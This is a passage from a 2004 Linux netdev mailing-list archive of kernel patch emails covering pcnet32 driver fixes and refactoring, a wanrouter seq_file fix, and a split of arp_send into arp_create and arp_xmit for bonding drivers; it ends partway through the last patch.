id i1JJRMKO025429 for ; Thu, 19 Feb 2004 11:27:23 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i1JJR5E11309; Thu, 19 Feb 2004 11:27:06 -0800 Date: Thu, 19 Feb 2004 11:27:05 -0800 From: Stephen Hemminger To: "David S. Miller" , Arnaldo Carvalho de Melo Cc: netdev@oss.sgi.com Subject: [PATCH] wandev_show single_open confusion Message-Id: <20040219112705.05416945@dell_ss3.pdx.osdl.net> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.9claws (GTK+ 1.2.10; i386-redhat-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3421 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Fix single_open interface confusion in wanrouter. The argument passed to single_open gets passed through via seq->private; not the void * argument as assumed by this code. diff -Nru a/net/wanrouter/wanproc.c b/net/wanrouter/wanproc.c --- a/net/wanrouter/wanproc.c Thu Feb 19 11:24:49 2004 +++ b/net/wanrouter/wanproc.c Thu Feb 19 11:24:49 2004 @@ -207,7 +207,7 @@ static int wandev_show(struct seq_file *m, void *v) { - struct wan_device *wandev = v; + struct wan_device *wandev = m->private; if (wandev->magic != ROUTER_MAGIC) return 0; From brazilnut@us.ibm.com Thu Feb 19 13:47:14 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Feb 2004 13:47:17 -0800 (PST) Received: from e3.ny.us.ibm.com (e3.ny.us.ibm.com [32.97.182.103]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1JLlDKO000845 for ; Thu, 19 Feb 2004 13:47:14 -0800 Received: from northrelay04.pok.ibm.com (northrelay04.pok.ibm.com [9.56.224.206]) by e3.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id i1JLl6nD715898; Thu, 19 Feb 2004 16:47:07 -0500 Received: from DYN318364BLD.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay04.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1JLlAJk112544; Thu, 19 Feb 2004 16:47:11 -0500 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i1JLkHl05440; Thu, 19 Feb 2004 13:46:17 -0800 From: Don Fry Message-Id: <200402192146.i1JLkHl05440@DYN318364BLD.beaverton.ibm.com> Subject: [PATCH] 2.4.25 pcnet32.c oops in rmmod To: tsbogend@alpha.franken.de, jgarzik@pobox.com, netdev@oss.sgi.com Date: Thu, 19 Feb 2004 13:46:17 -0800 (PST) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3422 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev When doing rmmod pcnet32 with more than one adapter, the system will oops. This fix was already applied to 2.6. Now needed in 2.4.25. Tested in IA32. --- linux-2.4.25/drivers/net/jon.pcnet32.c Thu Feb 19 09:14:17 2004 +++ linux-2.4.25/drivers/net/pcnet32.c Thu Feb 19 13:32:26 2004 @@ -1700,6 +1700,7 @@ /* An additional parameter that may be passed in... */ static int debug = -1; static int tx_start_pt = -1; +static int pcnet32_have_pci; static int __init pcnet32_init_module(void) { @@ -1712,7 +1713,8 @@ tx_start = tx_start_pt; /* find the PCI devices */ - pci_module_init(&pcnet32_driver); + if (!pci_module_init(&pcnet32_driver)) + pcnet32_have_pci = 1; /* should we find any remaining VLbus devices ? */ if (pcnet32vlb) @@ -1721,7 +1723,7 @@ if (cards_found) printk(KERN_INFO PFX "%d cards_found.\n", cards_found); - return cards_found ? 0 : -ENODEV; + return (pcnet32_have_pci + cards_found) ? 0 : -ENODEV; } static void __exit pcnet32_cleanup_module(void) @@ -1734,12 +1736,12 @@ next_dev = lp->next; unregister_netdev(pcnet32_dev); release_region(pcnet32_dev->base_addr, PCNET32_TOTAL_SIZE); - if (lp->pci_dev) - pci_unregister_driver(&pcnet32_driver); pci_free_consistent(lp->pci_dev, sizeof(*lp), lp, lp->dma_addr); - kfree(pcnet32_dev); + free_netdev(pcnet32_dev); pcnet32_dev = next_dev; } + if (pcnet32_have_pci) + pci_unregister_driver(&pcnet32_driver); } module_init(pcnet32_init_module); -- Don Fry brazilnut@us.ibm.com From brazilnut@us.ibm.com Thu Feb 19 13:55:38 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Feb 2004 13:55:43 -0800 (PST) Received: from e3.ny.us.ibm.com (e3.ny.us.ibm.com [32.97.182.103]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1JLtbKO001298 for ; Thu, 19 Feb 2004 13:55:38 -0800 Received: from northrelay04.pok.ibm.com (northrelay04.pok.ibm.com [9.56.224.206]) by e3.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id i1JLtVnD774208; Thu, 19 Feb 2004 16:55:31 -0500 Received: from DYN318364BLD.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay04.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1JLtZJk101444; Thu, 19 Feb 2004 16:55:35 -0500 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i1JLsfX05464; Thu, 19 Feb 2004 13:54:41 -0800 From: Don Fry Message-Id: <200402192154.i1JLsfX05464@DYN318364BLD.beaverton.ibm.com> Subject: [PATCH] 2.4.25 pcnet32.c bus master arbitration failure fix To: tsbogend@alpha.franken.de, jgarzik@pobox.com, netdev@oss.sgi.com Date: Thu, 19 Feb 2004 13:54:41 -0800 (PST) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3423 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev The driver did not properly serialize accesses to chip registers, resulting in reading/writing the wrong register. This patch eliminates this problem and gets rid of the cause of the symptom of 'bus master arbitration failure'. It was easier to use generic_mii_ioctl than modify the current pcnet32_ioctl routine with the necessary locks. This has been re-tested on an IA32 system. --- linux-2.4.25/drivers/net/rmm.pcnet32.c Thu Feb 19 13:34:29 2004 +++ linux-2.4.25/drivers/net/pcnet32.c Thu Feb 19 13:48:02 2004 @@ -713,6 +713,8 @@ lp->name = chipname; lp->shared_irq = shared; lp->mii_if.full_duplex = fdx; + lp->mii_if.phy_id_mask = 0x1f; + lp->mii_if.reg_num_mask = 0x1f; lp->dxsuflo = dxsuflo; lp->ltint = ltint; lp->mii = mii; @@ -784,6 +786,9 @@ } } + /* Set the mii phy_id so that we can query the link state */ + if (lp->mii) + lp->mii_if.phy_id = ((lp->a.read_bcr (ioaddr, 33)) >> 5) & 0x1f; /* The PCNET32-specific entries in the device structure. */ dev->open = &pcnet32_open; @@ -1604,12 +1609,18 @@ } /* restart autonegotiation */ case ETHTOOL_NWAY_RST: { - return mii_nway_restart(&lp->mii_if); + int r; + spin_lock_irq(&lp->lock); + r = mii_nway_restart(&lp->mii_if); + spin_unlock_irq(&lp->lock); + return r; } /* get link status */ case ETHTOOL_GLINK: { struct ethtool_value edata = {ETHTOOL_GLINK}; + spin_lock_irq(&lp->lock); edata.data = mii_link_ok(&lp->mii_if); + spin_unlock_irq(&lp->lock); if (copy_to_user(useraddr, &edata, sizeof(edata))) return -EFAULT; return 0; @@ -1640,36 +1651,24 @@ static int pcnet32_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { - unsigned long ioaddr = dev->base_addr; struct pcnet32_private *lp = dev->priv; struct mii_ioctl_data *data = (struct mii_ioctl_data *)&rq->ifr_data; - int phyaddr = lp->a.read_bcr (ioaddr, 33); + int rc; + unsigned long flags; if (cmd == SIOCETHTOOL) return pcnet32_ethtool_ioctl(dev, (void *) rq->ifr_data); + /* SIOC[GS]MIIxxx ioctls */ if (lp->mii) { - switch(cmd) { - case SIOCGMIIPHY: /* Get address of MII PHY in use. */ - data->phy_id = (phyaddr >> 5) & 0x1f; - /* Fall Through */ - case SIOCGMIIREG: /* Read MII PHY register. */ - lp->a.write_bcr (ioaddr, 33, ((data->phy_id & 0x1f) << 5) | (data->reg_num & 0x1f)); - data->val_out = lp->a.read_bcr (ioaddr, 34); - lp->a.write_bcr (ioaddr, 33, phyaddr); - return 0; - case SIOCSMIIREG: /* Write MII PHY register. */ - if (!capable(CAP_NET_ADMIN)) - return -EPERM; - lp->a.write_bcr (ioaddr, 33, ((data->phy_id & 0x1f) << 5) | (data->reg_num & 0x1f)); - lp->a.write_bcr (ioaddr, 34, data->val_in); - lp->a.write_bcr (ioaddr, 33, phyaddr); - return 0; - default: - return -EOPNOTSUPP; - } + spin_lock_irqsave(&lp->lock, flags); + rc = generic_mii_ioctl(&lp->mii_if, data, cmd, NULL); + spin_unlock_irqrestore(&lp->lock, flags); + } else { + rc = -EOPNOTSUPP; } - return -EOPNOTSUPP; + + return rc; } static struct pci_driver pcnet32_driver = { -- Don Fry brazilnut@us.ibm.com From brazilnut@us.ibm.com Thu Feb 19 14:43:55 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Feb 2004 14:43:59 -0800 (PST) Received: from e32.co.us.ibm.com (e32.co.us.ibm.com [32.97.110.130]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1JMhsKO002590 for ; Thu, 19 Feb 2004 14:43:54 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e32.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i1JMhlFD733784; Thu, 19 Feb 2004 17:43:47 -0500 Received: from DYN318364BLD.beaverton.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1JMhkIN191964; Thu, 19 Feb 2004 15:43:46 -0700 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i1JMgvi05546; Thu, 19 Feb 2004 14:42:57 -0800 From: Don Fry Message-Id: <200402192242.i1JMgvi05546@DYN318364BLD.beaverton.ibm.com> Subject: [PATCH] 2.6.3 pcnet32.c convert to use netif_msg_* To: tsbogend@alpha.franken.de, jgarzik@pobox.com, netdev@oss.sgi.com Date: Thu, 19 Feb 2004 14:42:57 -0800 (PST) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3424 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev This patch converts the driver to use netif_msg_* for printing messages. Tested IA32. --- linux-2.6.3/drivers/net/jon.pcnet32.c Thu Feb 19 09:14:03 2004 +++ linux-2.6.3/drivers/net/pcnet32.c Thu Feb 19 14:20:28 2004 @@ -79,7 +79,7 @@ -static int pcnet32_debug = 1; +static int pcnet32_debug = 0; static int tx_start = 1; /* Mapping -- 0:20, 1:64, 2:128, 3:~220 (depends on chip vers) */ static int pcnet32vlb; /* check for VLB cards ? */ @@ -327,6 +327,7 @@ struct net_device *next; struct mii_if_info mii_if; struct timer_list watchdog_timer; + u32 msg_enable; /* debug message level */ }; static void pcnet32_probe_vlbus(void); @@ -552,7 +553,7 @@ } chip_version = a->read_csr(ioaddr, 88) | (a->read_csr(ioaddr,89) << 16); - if (pcnet32_debug > 2) + if (pcnet32_debug & NETIF_MSG_PROBE) printk(KERN_INFO " PCnet chip version is %#x.\n", chip_version); if ((chip_version & 0xfff) != 0x003) goto err_release_region; @@ -606,7 +607,7 @@ media &= ~3; media |= 1; #endif - if (pcnet32_debug > 2) + if (pcnet32_debug & NETIF_MSG_PROBE) printk(KERN_DEBUG PFX "media reset to %#x.\n", media); a->write_bcr(ioaddr, 49, media); break; @@ -731,6 +732,7 @@ lp->dxsuflo = dxsuflo; lp->ltint = ltint; lp->mii = mii; + lp->msg_enable = pcnet32_debug; if ((cards_found >= MAX_UNITS) || (options[cards_found] > sizeof(options_mapping))) lp->options = PCNET32_PORT_ASEL; else @@ -858,7 +860,7 @@ /* switch pcnet32 to 32bit mode */ lp->a.write_bcr (ioaddr, 20, 2); - if (pcnet32_debug > 1) + if (netif_msg_ifup(lp)) printk(KERN_DEBUG "%s: pcnet32_open() irq %d tx/rx rings %#x/%#x init %#x.\n", dev->name, dev->irq, (u32) (lp->dma_addr + offsetof(struct pcnet32_private, tx_ring)), @@ -952,7 +954,7 @@ */ lp->a.write_csr (ioaddr, 0, 0x0042); - if (pcnet32_debug > 2) + if (netif_msg_ifup(lp)) printk(KERN_DEBUG "%s: pcnet32 open after %d ticks, init block %#x csr0 %4.4x.\n", dev->name, i, (u32) (lp->dma_addr + offsetof(struct pcnet32_private, init_block)), lp->a.read_csr(ioaddr, 0)); @@ -1070,7 +1072,7 @@ dev->name, lp->a.read_csr(ioaddr, 0)); lp->a.write_csr (ioaddr, 0, 0x0004); lp->stats.tx_errors++; - if (pcnet32_debug > 2) { + if (netif_msg_tx_err(lp)) { int i; printk(KERN_DEBUG " Ring data dump: dirty_tx %d cur_tx %d%s cur_rx %d.", lp->dirty_tx, lp->cur_tx, lp->tx_full ? " (full)" : "", @@ -1103,7 +1105,7 @@ int entry; unsigned long flags; - if (pcnet32_debug > 3) { + if (netif_msg_tx_queued(lp)) { printk(KERN_DEBUG "%s: pcnet32_start_xmit() called, csr0 %4.4x.\n", dev->name, lp->a.read_csr(ioaddr, 0)); } @@ -1192,7 +1194,7 @@ must_restart = 0; - if (pcnet32_debug > 5) + if (netif_msg_intr(lp)) printk(KERN_DEBUG "%s: interrupt csr0=%#2.2x new csr=%#2.2x.\n", dev->name, csr0, lp->a.read_csr (ioaddr, 0)); @@ -1307,7 +1309,7 @@ lp->a.write_csr (ioaddr, 0, 0x7940); lp->a.write_rap (ioaddr,rap); - if (pcnet32_debug > 4) + if (netif_msg_intr(lp)) printk(KERN_DEBUG "%s: exiting interrupt, csr0=%#4.4x.\n", dev->name, lp->a.read_csr (ioaddr, 0)); @@ -1431,7 +1433,7 @@ lp->stats.rx_missed_errors = lp->a.read_csr (ioaddr, 112); - if (pcnet32_debug > 1) + if (netif_msg_ifdown(lp)) printk(KERN_DEBUG "%s: Shutting down ethercard, status was %2.2x.\n", dev->name, lp->a.read_csr (ioaddr, 0)); @@ -1660,7 +1662,7 @@ /* get message-level */ case ETHTOOL_GMSGLVL: { struct ethtool_value edata = {ETHTOOL_GMSGLVL}; - edata.data = pcnet32_debug; + edata.data = lp->msg_enable; if (copy_to_user(useraddr, &edata, sizeof(edata))) return -EFAULT; return 0; @@ -1670,7 +1672,7 @@ struct ethtool_value edata; if (copy_from_user(&edata, useraddr, sizeof(edata))) return -EFAULT; - pcnet32_debug = edata.data; + lp->msg_enable = edata.data; return 0; } default: -- Don Fry brazilnut@us.ibm.com From brazilnut@us.ibm.com Thu Feb 19 14:44:38 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Feb 2004 14:44:50 -0800 (PST) Received: from e34.co.us.ibm.com (e34.co.us.ibm.com [32.97.110.132]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1JMibKO002647 for ; Thu, 19 Feb 2004 14:44:37 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e34.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i1JMiUvC390946; Thu, 19 Feb 2004 17:44:30 -0500 Received: from DYN318364BLD.beaverton.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1JMiTIN181306; Thu, 19 Feb 2004 15:44:30 -0700 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i1JMhfx05557; Thu, 19 Feb 2004 14:43:41 -0800 From: Don Fry Message-Id: <200402192243.i1JMhfx05557@DYN318364BLD.beaverton.ibm.com> Subject: [PATCH] 2.4.25 pcnet32.c convert to use netif_msg_* To: tsbogend@alpha.franken.de, jgarzik@pobox.com, netdev@oss.sgi.com Date: Thu, 19 Feb 2004 14:43:41 -0800 (PST) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3425 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev This patch converts the driver to use netif_msg_* for printing messages. Tested IA32. --- linux-2.4.25/drivers/net/fail.pcnet32.c Thu Feb 19 13:48:02 2004 +++ linux-2.4.25/drivers/net/pcnet32.c Thu Feb 19 14:26:27 2004 @@ -82,7 +82,7 @@ -static int pcnet32_debug = 1; +static int pcnet32_debug = 0; static int tx_start = 1; /* Mapping -- 0:20, 1:64, 2:128, 3:~220 (depends on chip vers) */ static int pcnet32vlb; /* check for VLB cards ? */ @@ -325,6 +325,7 @@ mii:1; /* mii port available */ struct net_device *next; struct mii_if_info mii_if; + u32 msg_enable; /* debug message level */ }; static void pcnet32_probe_vlbus(void); @@ -541,7 +542,7 @@ } chip_version = a->read_csr(ioaddr, 88) | (a->read_csr(ioaddr,89) << 16); - if (pcnet32_debug > 2) + if (pcnet32_debug & NETIF_MSG_PROBE) printk(KERN_INFO " PCnet chip version is %#x.\n", chip_version); if ((chip_version & 0xfff) != 0x003) return -ENODEV; @@ -595,7 +596,7 @@ media &= ~3; media |= 1; #endif - if (pcnet32_debug > 2) + if (pcnet32_debug & NETIF_MSG_PROBE) printk(KERN_DEBUG PFX "media reset to %#x.\n", media); a->write_bcr(ioaddr, 49, media); break; @@ -718,6 +719,7 @@ lp->dxsuflo = dxsuflo; lp->ltint = ltint; lp->mii = mii; + lp->msg_enable = pcnet32_debug; if ((cards_found >= MAX_UNITS) || (options[cards_found] > sizeof(options_mapping))) lp->options = PCNET32_PORT_ASEL; else @@ -835,7 +837,7 @@ /* switch pcnet32 to 32bit mode */ lp->a.write_bcr (ioaddr, 20, 2); - if (pcnet32_debug > 1) + if (netif_msg_ifup(lp)) printk(KERN_DEBUG "%s: pcnet32_open() irq %d tx/rx rings %#x/%#x init %#x.\n", dev->name, dev->irq, (u32) (lp->dma_addr + offsetof(struct pcnet32_private, tx_ring)), @@ -923,7 +925,7 @@ */ lp->a.write_csr (ioaddr, 0, 0x0042); - if (pcnet32_debug > 2) + if (netif_msg_ifup(lp)) printk(KERN_DEBUG "%s: pcnet32 open after %d ticks, init block %#x csr0 %4.4x.\n", dev->name, i, (u32) (lp->dma_addr + offsetof(struct pcnet32_private, init_block)), lp->a.read_csr(ioaddr, 0)); @@ -1043,7 +1045,7 @@ dev->name, lp->a.read_csr(ioaddr, 0)); lp->a.write_csr (ioaddr, 0, 0x0004); lp->stats.tx_errors++; - if (pcnet32_debug > 2) { + if (netif_msg_tx_err(lp)) { int i; printk(KERN_DEBUG " Ring data dump: dirty_tx %d cur_tx %d%s cur_rx %d.", lp->dirty_tx, lp->cur_tx, lp->tx_full ? " (full)" : "", @@ -1076,7 +1078,7 @@ int entry; unsigned long flags; - if (pcnet32_debug > 3) { + if (netif_msg_tx_queued(lp)) { printk(KERN_DEBUG "%s: pcnet32_start_xmit() called, csr0 %4.4x.\n", dev->name, lp->a.read_csr(ioaddr, 0)); } @@ -1165,7 +1167,7 @@ must_restart = 0; - if (pcnet32_debug > 5) + if (netif_msg_intr(lp)) printk(KERN_DEBUG "%s: interrupt csr0=%#2.2x new csr=%#2.2x.\n", dev->name, csr0, lp->a.read_csr (ioaddr, 0)); @@ -1280,7 +1282,7 @@ lp->a.write_csr (ioaddr, 0, 0x7940); lp->a.write_rap (ioaddr,rap); - if (pcnet32_debug > 4) + if (netif_msg_intr(lp)) printk(KERN_DEBUG "%s: exiting interrupt, csr0=%#4.4x.\n", dev->name, lp->a.read_csr (ioaddr, 0)); @@ -1400,7 +1402,7 @@ lp->stats.rx_missed_errors = lp->a.read_csr (ioaddr, 112); - if (pcnet32_debug > 1) + if (netif_msg_ifdown(lp)) printk(KERN_DEBUG "%s: Shutting down ethercard, status was %2.2x.\n", dev->name, lp->a.read_csr (ioaddr, 0)); @@ -1629,7 +1631,7 @@ /* get message-level */ case ETHTOOL_GMSGLVL: { struct ethtool_value edata = {ETHTOOL_GMSGLVL}; - edata.data = pcnet32_debug; + edata.data = lp->msg_enable; if (copy_to_user(useraddr, &edata, sizeof(edata))) return -EFAULT; return 0; @@ -1639,7 +1641,7 @@ struct ethtool_value edata; if (copy_from_user(&edata, useraddr, sizeof(edata))) return -EFAULT; - pcnet32_debug = edata.data; + lp->msg_enable = edata.data; return 0; } default: -- Don Fry brazilnut@us.ibm.com From shmulik.hen@intel.com Thu Feb 19 14:54:44 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Feb 2004 14:54:52 -0800 (PST) Received: from caduceus.fm.intel.com (fmr02.intel.com [192.55.52.25]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1JMsiKO004659 for ; Thu, 19 Feb 2004 14:54:44 -0800 Received: from petasus.fm.intel.com (petasus.fm.intel.com [10.1.192.37]) by caduceus.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-outer.mc,v 1.14 2004/01/09 00:51:16 root Exp $) with ESMTP id i1JAD2Qw020379; Thu, 19 Feb 2004 10:13:02 GMT Received: from fmsmsxvs043.fm.intel.com (fmsmsxvs043.fm.intel.com [132.233.42.129]) by petasus.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-inner.mc,v 1.7 2003/12/18 18:58:10 root Exp $) with SMTP id i1JADDIG015587; Thu, 19 Feb 2004 10:13:13 GMT Received: from jrslxjul4.npdj.intel.com ([10.12.220.54]) by fmsmsxvs043.fm.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004021902110922442 ; Thu, 19 Feb 2004 02:11:10 -0800 From: Shmuel Hen Organization: Intel Corporation To: "David S. Miller" , "Jeff Garzik" Subject: [PATCH] [NET 2.4] split arp_send into arp_create and arp_xmit Date: Thu, 19 Feb 2004 12:11:05 +0200 User-Agent: KMail/1.5.3 Cc: "linux-netdev" , "bonding-devel" MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200402191211.07879.shmulik.hen@intel.com> X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 3426 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shmulik.hen@intel.com Precedence: bulk X-list: netdev Now, that 2.4.25 is out, I'm resending the enhancements for VLAN over bonding. Tested for patch application and compilation against linux-2.4.25. Summary: Enable intermediate network drivers like bonding to create an ARP packet and modify it to their needs before sending it, while avoiding code duplication. It does not affect any other place in the kernel that uses arp_send. -- | Shmulik Hen Advanced Network Services | | Israel Design Center, Jerusalem | | LAN Access Division, Platform Networking | | Intel Communications Group, Intel corp. | diff -Nuarp a/include/net/arp.h b/include/net/arp.h --- a/include/net/arp.h Wed Jan 21 16:54:53 2004 +++ b/include/net/arp.h Wed Jan 21 16:54:54 2004 @@ -5,6 +5,8 @@ #include #include +#define HAVE_ARP_CREATE + extern struct neigh_table arp_tbl; extern void arp_init(void); @@ -19,6 +21,12 @@ extern int arp_bind_neighbour(struct dst extern int arp_mc_map(u32 addr, u8 *haddr, struct net_device *dev, int dir); extern void arp_ifdown(struct net_device *dev); +extern struct sk_buff *arp_create(int type, int ptype, u32 dest_ip, + struct net_device *dev, u32 src_ip, + unsigned char *dest_hw, unsigned char *src_hw, + unsigned char *target_hw); +extern void arp_xmit(struct sk_buff *skb); + extern struct neigh_ops arp_broken_ops; #endif /* _ARP_H */ diff -Nuarp a/net/ipv4/arp.c b/net/ipv4/arp.c --- a/net/ipv4/arp.c Wed Jan 21 16:54:53 2004 +++ b/net/ipv4/arp.c Wed Jan 21 16:54:54 2004 @@ -66,6 +66,10 @@ * Alexey Kuznetsov: new arp state machine; * now it is in net/core/neighbour.c. * Krzysztof Halasa: Added Frame Relay ARP support. + * Shmulik Hen: Split arp_send to arp_create and + * arp_xmit so intermediate drivers like + * bonding can change the skb before + * sending (e.g. insert 8021q tag). */ #include @@ -481,34 +485,26 @@ static inline int arp_fwd_proxy(struct i */ /* - * Create and send an arp packet. If (dest_hw == NULL), we create a broadcast + * Create an arp packet. If (dest_hw == NULL), we create a broadcast * message. */ - -void arp_send(int type, int ptype, u32 dest_ip, - struct net_device *dev, u32 src_ip, - unsigned char *dest_hw, unsigned char *src_hw, - unsigned char *target_hw) +struct sk_buff *arp_create(int type, int ptype, u32 dest_ip, + struct net_device *dev, u32 src_ip, + unsigned char *dest_hw, unsigned char *src_hw, + unsigned char *target_hw) { struct sk_buff *skb; struct arphdr *arp; unsigned char *arp_ptr; /* - * No arp on this interface. - */ - - if (dev->flags&IFF_NOARP) - return; - - /* * Allocate a buffer */ skb = alloc_skb(sizeof(struct arphdr)+ 2*(dev->addr_len+4) + dev->hard_header_len + 15, GFP_ATOMIC); if (skb == NULL) - return; + return NULL; skb_reserve(skb, (dev->hard_header_len+15)&~15); skb->nh.raw = skb->data; @@ -588,12 +584,46 @@ void arp_send(int type, int ptype, u32 d arp_ptr+=dev->addr_len; memcpy(arp_ptr, &dest_ip, 4); - /* Send it off, maybe filter it using firewalling first. */ - NF_HOOK(NF_ARP, NF_ARP_OUT, skb, NULL, dev, dev_queue_xmit); - return; + return skb; out: kfree_skb(skb); + return NULL; +} + +/* + * Send an arp packet. + */ +void arp_xmit(struct sk_buff *skb) +{ + /* Send it off, maybe filter it using firewalling first. */ + NF_HOOK(NF_ARP, NF_ARP_OUT, skb, NULL, skb->dev, dev_queue_xmit); +} + +/* + * Create and send an arp packet. + */ +void arp_send(int type, int ptype, u32 dest_ip, + struct net_device *dev, u32 src_ip, + unsigned char *dest_hw, unsigned char *src_hw, + unsigned char *target_hw) +{ + struct sk_buff *skb; + + /* + * No arp on this interface. + */ + + if (dev->flags&IFF_NOARP) + return; + + skb = arp_create(type, ptype, dest_ip, dev, src_ip, + dest_hw, src_hw, target_hw); + if (skb == NULL) { + return; + } + + arp_xmit(skb); } static void parp_redo(struct sk_buff *skb) diff -Nuarp a/net/netsyms.c b/net/netsyms.c --- a/net/netsyms.c Wed Jan 21 16:54:53 2004 +++ b/net/netsyms.c Wed Jan 21 16:54:54 2004 @@ -261,6 +261,8 @@ EXPORT_SYMBOL(icmp_statistics); EXPORT_SYMBOL(icmp_err_convert); EXPORT_SYMBOL(ip_options_compile); EXPORT_SYMBOL(ip_options_undo); +EXPORT_SYMBOL(arp_create); +EXPORT_SYMBOL(arp_xmit); EXPORT_SYMBOL(arp_send); EXPORT_SYMBOL(arp_broken_ops); EXPORT_SYMBOL(__ip_select_ident); From brazilnut@us.ibm.com Thu Feb 19 15:33:53 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Feb 2004 15:33:57 -0800 (PST) Received: from e31.co.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1JNXqKO005405 for ; Thu, 19 Feb 2004 15:33:53 -0800 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e31.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i1JNXjba412128; Thu, 19 Feb 2004 18:33:45 -0500 Received: from DYN318364BLD.beaverton.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1JNXhGE121354; Thu, 19 Feb 2004 16:33:44 -0700 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i1JNWsI05667; Thu, 19 Feb 2004 15:32:54 -0800 From: Don Fry Message-Id: <200402192332.i1JNWsI05667@DYN318364BLD.beaverton.ibm.com> Subject: [PATCH] 2.6.3 pcnet32.c change to use ethtool_ops To: tsbogend@alpha.franken.de, jgarzik@pobox.com, netdev@oss.sgi.com Date: Thu, 19 Feb 2004 15:32:54 -0800 (PST) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3427 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev This changes the driver to use ethtool_ops to be more modular. There is a net delta of just a one line between the two implementations, but permission checking and copying to/from user space, etc. is all done in a consistent manner by ethtool.c --- linux-2.6.3/drivers/net/net.pcnet32.c Thu Feb 19 14:42:25 2004 +++ linux-2.6.3/drivers/net/pcnet32.c Thu Feb 19 14:54:57 2004 @@ -465,6 +465,101 @@ +static int pcnet32_get_settings(struct 